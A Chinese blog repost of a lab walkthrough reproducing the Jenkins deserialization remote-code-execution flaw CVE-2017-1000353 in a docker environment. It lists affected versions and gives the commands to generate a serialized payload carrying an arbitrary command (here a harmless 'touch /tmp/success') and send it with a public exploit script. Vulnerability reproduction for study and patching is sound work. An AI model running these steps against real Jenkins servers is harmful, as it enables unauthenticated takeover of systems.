欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

Jenkins-CI 远程代码执行漏洞复现(CVE-2017-1000353)

发布时间:2025/3/15 编程问答 47 豆豆
生活随笔 收集整理的这篇文章主要介绍了 Jenkins-CI 远程代码执行漏洞复现(CVE-2017-1000353) 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限

漏洞影响范围:

所有Jenkins主版本均受到影响(包括<=2.56版本)
所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)

 

## 原理

参考阅读 https://blogs.securiteam.com/index.php/archives/3171

## 环境搭建

执行如下命令启动jenkins 2.46.1:

```
docker-compose up -d
```

等待完全启动成功后,访问`http://your-ip:8080`即可看到jenkins已成功运行,无需手工安装。

## 测试过程

### 步骤一、生成序列化字符串

参考<https://github.com/vulhub/CVE-2017-1000353>,首先下载CVE-2017-1000353-1.1-SNAPSHOT-all.jar

(https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar),这是生成POC的工具。

执行下面命令,生成字节码文件:

```bash
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
# jenkins_poc.ser是生成的字节码文件名
# "touch ..."是待执行的任意命令
```

执行上述代码后,生成jenkins_poc.ser文件,这就是序列化字符串。

### 步骤二、发送数据包,执行命令

下载[exploit.py](https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py)

链接里的exploit代码需要将Proxies里面的内容注释掉

python3执行`python exploit.py http://your-ip:8080 jenkins_poc.ser`,将刚才生成的字节码文件发送给目标:

进入docker,发现`/tmp/success`成功被创建,说明命令执行漏洞利用成功

docker-compose exec jenkins bash

总结

以上是生活随笔为你收集整理的Jenkins-CI 远程代码执行漏洞复现(CVE-2017-1000353)的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。